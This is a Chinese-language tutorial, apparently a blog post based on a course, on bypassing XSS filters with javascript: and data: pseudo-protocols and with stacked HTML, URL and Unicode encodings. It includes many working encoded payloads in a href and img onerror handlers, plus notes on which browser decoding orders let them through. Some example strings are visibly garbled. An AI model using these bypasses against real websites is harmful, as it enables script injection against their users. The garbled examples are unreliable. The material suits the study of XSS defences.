XSS_伪协议与编码绕过

参考

本文参考了极客时间伪协议与编码绕过课程

伪协议是什么?

伪协议不同于因特网上所广泛使用的如 http://,https://,ftp://;

主要在URL中使用,用于执行特定的功能,例如调用js方法

  • Data伪协议︰

    data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=

  • JavaScript伪协议︰

    javascript:alert(“1”)

伪协议示例

<! DOCTYPE html>
<html>
    <head>
    	<title>decodeDemo</title><meta charset="utf-8">
    </head>
    <body>
        <p>
            <a href="javascript:alert(5) ">javascript伪协议</a>
        </p>
        <p>
            <a href="data:text/html; base64,PHNjcmIwdD5hbGVydCgxKTs8L3Njcm1wdD4=">data伪协议base64</a>
        </p>
        <p>
            <a href="data:text/html;base64, PHNjcmwdD5hb6vydCgiMSIpOzwvc2NyaxBoPg==-">含双引号data 伪协议				baseb4</a>
        </p>
    </body>
</html>

伪协议作用是什么?

伪协议: 作用是于对<script>标签, ( , ) , ' , ",票号(写不出来) 进行过滤绕过;

需要注意的是:

并不是所用的浏览器都会对伪协议进行支持,例如:Google Chrome对Data伪协议就不支持;

编码绕过

Unicode编码

ISO(国际标谁化组织)制定的包括了地球上所有文化、所有字母和符号的编码,使用两个字节表示一个字符,
Unicode 只是一个符号集,它只规定了符号的二进制代码,却没有规定这个二进制代码应该如何存储
具体存储由:UTF-8,UTF-16等实现。

Unicode,编码,HTML编码及URL编码

unicode编码简单称其为JavaScript编码,因为JavaScript编码内部解析,也是对unicode编码是等同的;

编码划分

编码前编码分类编码示例所属类型
testJavaScript(Unicode)编码\u0074\u0065\u0073\u0074\u中文转为unicode
testJavaScript(Unicode)编码&#116;&#101;&#115;&#116;&#Ascii转Unicode(Burp Suit将其归为HTML编码的一种,HTML页面认为是HTML编码格式)
testHTML编码&#x74;&#x65;&#x73;&#x74;&#x
testURL编码%74 %65 %73%74%
html编码(直接渲染)Ascii转Unicode(直接渲染)Unicode编码/中文URL编码
r&#x72;=>r&#114;=>r\u0072%72
&#x11;(解码中文,乱码=>�)&#25105;=>我\u6211%11(解码,乱码=>%11)
test&#x74;&#x65;&#x73;&#x74; => (test)&#116;&#101;&#115;&#116; => (test)\u0074\u0065\u0073\u0074%74%65%73%74

浏览器解码

解析一篇HTML文档时主要有三个处理过程:HTML解析URL解析JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分,且顺序也有所区别

浏览器解码顺序
解码顺序

浏览器–>HTML解码-->URL解码-->JavaScript解码;

因为解码有先后顺序,所以为了不影响页面的正常加载,我们加密的时候需要按照顺序进行先进行JavaScript加密,然后再进行URL加密,最后进行HTML加密;

编码顺序

加密–>JavaScript编码-->URL编码-->HTML编码;

HTML解码
HTML示例:
<h3>HTML解码</h3>
<p>对于a标签,href属性javascript:alert(1)编码比较</p>

<p>
    1号:<a href="javascript:alert(1)">未编码</a>
</p>
<p>
    2号:<a h&#x72;ef="javascript:alert(1)">href中的r进行编码</a>
</p>
<p>
    3号:<a href="javasc&#x72;ipt:alert(1)">javascript中的r进行编码</a>
</p>
<p>
    4号:<a href="javascript:ale&#x72;t(1)">alert(1)中的r进行编码</a>
</p>
<hr>
HTML解码说明:

与1号,未编码进行比较,说明

  • 1号:未编码; 正常访问,正常绕过
    • 1号:<a href="javascript:alert(1)">未编码</a>
  • 2号:href中的r进行HTML编码; HTML页面解析&#x72;为r,破坏了HTML文档的DOM树格式,不认为h&#x72;ef是一个超链接属性,即a标签失效; HTML编码破坏了<a>标签DOM树结构中的href属性;
    • HTML解析: 2号:<a h&#x72;ef=“javascript:alert(1)”>href中的r进行编码 破坏了DOM树结构,但是还是会正常解析,认为是文本格式;
    • URL解析: 2号:<a href=“javascript:alert(1)”>href中的r进行编码
    • JavaScript解析: 2号:<a h&#x72;ef="javascript:alert(1)">href中的r进行编码
  • 3号:JavaScript中的r进行编码; 正常访问,正常绕过;
    • 3号:<a href="javasc&#x72;ipt:alert(1)">javascript中的r进行编码
  • 4号:alert(1)中的r进行编码; 正常让问,正常绕过;
    • 4号:<a href="javascript:ale&#x72;t(1)">alert(1)中的r进行编码
编号<a>标签解析显示情况是否绕过
1号解析成功,正常解析为<a>标签
2号解析失败,HTML编码破坏了HTML页面DOM树构建,不认为h&#x72;ef是一个超链接属性,即a标签失效;
3号解析成功,正常解析为<a>标签
4号解析成功,正常解析为<a>标签
2号失败原因:

​ 按照先后顺序HTML先进行解码,但是HTML编码破坏了<a>标签中的href属性,导致<a>标签DOM树构建失败解析无效,HTML解析器识别不了,致使解析成为一个文本格式;

​ 也就是说我们是不能对标签中的属性进行HTML编码;因为这样的编码会破坏HTML解析器对HTML页面文档整个格式的解析,导致他的解析器没有办法去构建自己的DOM树;在这种情况下他没有办法进行编码的解析,导致标签DOM树加载失败;

HTML编码用法:
  • HTML编码不能编码标签,及标签中的属性,以及标签前后的< >;
  • HTML编码可以对标签中属性的值进行编码;(包括伪协议类型js代码)

​ 我们无法对2号链接进行解析(希望他加载执行JavaScript伪协议),因为DOM树构建失败<a>标签无效,他已经被解析成为一个文本格式;也就是说我们是不能对href中的r进行编码;因为这样的编码会破坏HTML解析器对HTML页面文档整个格式的解析,导致他的解析器没有办法去构建自己的DOM树;在这种情况下他没有办法进行编码的解析;

URL解码
URL示例
<h3>URL解码</h3>
	<p>对于a标签,href属性javascript:alert(1)编码比较</p>
	<p>
        1号:<a href="javascript:alert(1)">未编码</a>
	</p>
	<p>
        2号:<a h%72ef="javascript:alert(1)">href中的r进行编码</a>
	</p>
	<p>
        3号:<a href="javasc%72ipt:alert(1)">javascript中的r进行编码</a>
	</p>
	<p>
        4号:<a href="javascript:ale%72t(1)">alert(1)中的r进行编码</a>
	</p>
	<p>
    	5号:<a href="javascript:alert%281)">alert(1)中的'('进行编码</a>
	</p>
<hr>
URL解码说明

对于a标签.href属性iavascript:alert(1)编码比较

编号<a>标签解析显示情况是否绕过
1号解析成功,正常解析为<a>标签
2号解析失败,URL编码破坏了HTML页面DOM树构建,(低优先级先进行了编码)
3号解析成功,正常解析为<a>标签否,URL破坏了**伪协议类型,alert无法生效**;
4号解析成功,正常解析为<a>标签
5号解析成功,正常解析为<a>标签
2号失败与3号失败原因:
  • 2号:
    • 按照先后顺序HTML先进行解码,然后是URL再进行解码,但是HTML解码过程中,URL编码破坏了<a>标签中的href属性(低优先级URL编码,先进行了编码),导致<a>标签DOM树解析失败构建无效,HTML解析器识别不了,致使解析成为一个文本格式;
  • 3号:
    • URL编码破坏了协议类型,导致JavaScript编码解析失败!
URL编码用法:
  • URL编码不能编码标签,及标签中的属性,以及标签前后的< >;
  • URL编码不能对伪协议类型进行编码;例如:JavaScript
  • URL编码可以对伪协议类型后跟的JavaScript代码进行编码;例如alert(1);
JavaScript(\u)解码
JavaScript示例
<h3>JavaScript解码</h3>
	<p>对于a标签,href属性javascript:alert(1)编码比较</p>
    <p>
        1号:<a href="javascript:alert(1)">未编码</a>
    </p>
    <p>
        2号:<a h\u0072ef="javascript:alert(1)">href中的r进行编码</a>
    </p>
    <p>
        3号:<a href="javasc\u0072ipt:alert(1)">javascript中的r进行编码</a>
    </p>
    <p>
        4号:<a href="javascript:ale\u0072t(1)">alert(1)中的r进行编码</a>
    </p>
    <p>
        5号:<a href="javascript:alert\u00281)">alert(1)中的(进行编码</a>
    </p>
<hr>

URL解码说明:
编号<a>标签解析显示情况是否绕过
1号解析成功,正常解析为<a>标签
2号解析失败,JavaScriptL编码破坏了HTML页面DOM树构建,(低优先级先进行了编码)
3号解析成功,正常解析为<a>标签否,JavaScript破坏了**伪协议类型,alert无法生效**;
4号解析成功,正常解析为<a>标签
5号解析成功,正常解析为<a>标签否,JavaScript不能对控制字符()进行编码
3号与5号失败原因:
  • 3号
    • 3号对JavaScript伪协议进行了编码,导致破坏了伪协议类型,导致alert无法生效;
  • 5号
    • 5号对JavaScript代码中的控制字符进行了编码,导致解析失败;
JavaScript编码用法:
  • JavaScript编码不能编码标签,及标签中的属性,以及标签前后的< >;
  • JavaScript编码不能伪协议类型进行编码;例如:JavaScript
  • JavaScript编码不能伪协议类型后的JavaScript代码中的控制字符进行编码;例如alert(1)中的括号();
  • JavaScript编码可以对伪协议类型后跟的JavaScript代码进行编码,不包括控制字符;例如alert不包含括号();
JavaScript(\ASCII)解码

特别注意!!! Ascii转Unicode(Burp Suit将其归为HTML编码的一种)

JavaScript示例
<h3>JavaScript解码/ASCII</h3>
    <p>对于a标签,href属性javascript:alert(1)编码比较</p>
    <p>
        1号:<a href="javascript:alert(1)">未编码</a>
    </p>
    <p>
        2号:<a h&#114;ef="javascript:alert(1)">href中的r进行编码</a>
    </p>
    <p>
        3号:<a href="javasc&#114;ipt:alert(1)">javascript中的r进行编码</a>
    </p>
    <p>
        4号:<a href="javascript:ale&#114;t(1)">alert(1)中的r进行编码</a>
    </p>
    <p>
        5号:<a href="javascript:alert&#40;1)">alert(1)中的(进行编码</a>
    </p>
<hr>	
JavaScript(\ASCII)解码说明
编号<a>标签解析显示情况是否绕过
1号解析成功,正常解析为<a>标签
2号解析失败,HTML编码破坏了HTML页面DOM树构建,不认为h&#x72;ef是一个超链接属性,即a标签失效;
3号解析成功,正常解析为<a>标签
4号解析成功,正常解析为<a>标签
其他与HTML编码一致

二层混淆编码

<h3>二层混淆解码</h3>
    <p>对于a标签,href属性javascript:alert(1)二层编码比较</p>
    <p>
        1号:<a href="javascript:ale%5c%75%30%30%37%32t(1)">alert(1)中的r进行js编码,后url编码</a>
    </p>
	<p>1.1号:<a href="javascript:ale&#x26;&#x23;&#x31;&#x31;&#x34;&#x3b;t(1)">alert(1)中的r进行js/ASCII编码,后HTML编码</a></p>
	<p>1.2号:<a href="javascript:ale%26%23%31%31%34%3bt(1)">alert(1)中的r进行js/ASCII编码,后url编码</a></p>
    <p>
        2号:
        <a href="javascript:ale&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;t(1)">alert(1)中的r进行js编码,后 html编码			</a>
    </p>
    <p>
        3号:<a href="javascript:ale&#x25;&#x37;&#x32;t(1)">alert(1)中的r进行url编码,后html编码</a>
    </p>
<br/>

二层混淆解码说明
编号<a>标签解析显示情况是否绕过
1号解析成功,正常解析为<a>标签
1.1号解析成功,正常解析为<a>标签否(js/ASCII编码,被页面认定为HTML编码;无法解析两层HTML编码)
1.2号解析成功,正常解析为<a>标签否(编码后的url编码,页面无法解析识别,js/ASCII编码只能单独使用)
2号解析成功,正常解析为<a>标签
3号解析成功,正常解析为<a>标签
特别注意:
    1. 混淆解码需要注意页面解析顺序HTML<URL<JavaScript;
    2. 混淆加密顺序为JavaScript<URL<HTML
    3. js/ASCII编码不能用于两层加密;

三次混淆编码

三层混淆示例:
<h3>三层混淆解码</h3>
	<p>对于a标签,href属性javascript:alert(1)三层编码漏洞触发</p>
	<p>
        <a href="javascript:ale&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;t(1)">alert(1)中的进行js编码,后url编码,再html编码</a>
	</p>
	<p>
        <a href="javascript:\u0061%5c%75%30%30%36%63e&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;t(1)">alert(1)中的a进行js编码,l进行js编码后再进行url编码,r进行js编码,后url编码,再html编码</a>
	</p>

	<p>
        <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x25;&#x32;&#x38;&#x25;&#x33;&#x31;&#x25;&#x32;&#x39;">三层加密</a>
	</p>
<hr>
三层混淆编码步骤:

示例: <a href="javascript:alert(1)">原始样例</a>

  • JavaScript编码: 对alert进行编码,不能对控制字符(1)进行编码

    • <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">JavaScript编码</a>
  • URL编码: 对经过JavaScript编码后的字符(1),进行URL编码

    • <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%29">JavaScript编码</a>
  • HTML编码: 对javascript伪协议URL编码后的字符,进行HTML编码

    • <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x25;&#x32;&#x38;&#x25;&#x33;&#x31;&#x25;&#x32;&#x39;">自行加密</a>

其他标签加密

示例
<img src=# onerror="alert(1)"/> 
<img src=# onerror="\u0061\u006c\u0065\u0072\u0074(1)" /> JavaScript编码成功
<img src=# onerror="%61%6c%65%72%74%28%31%29" /> URL编码失败
<img src=# onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"/>  HTML编码成功;
<img src=# onerror="%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%29;" /> 双重加密失败
<img src=# onerror="&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;&#x28;&#x31;&#x29;"/> 
				先JavaScript编码,后进行HTML编码成功! 
结论
  • 如果要编码的标签属性不是src,那么就不能进行URL编码;
  • 只能进行JavaScript编码和HTML编码;
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值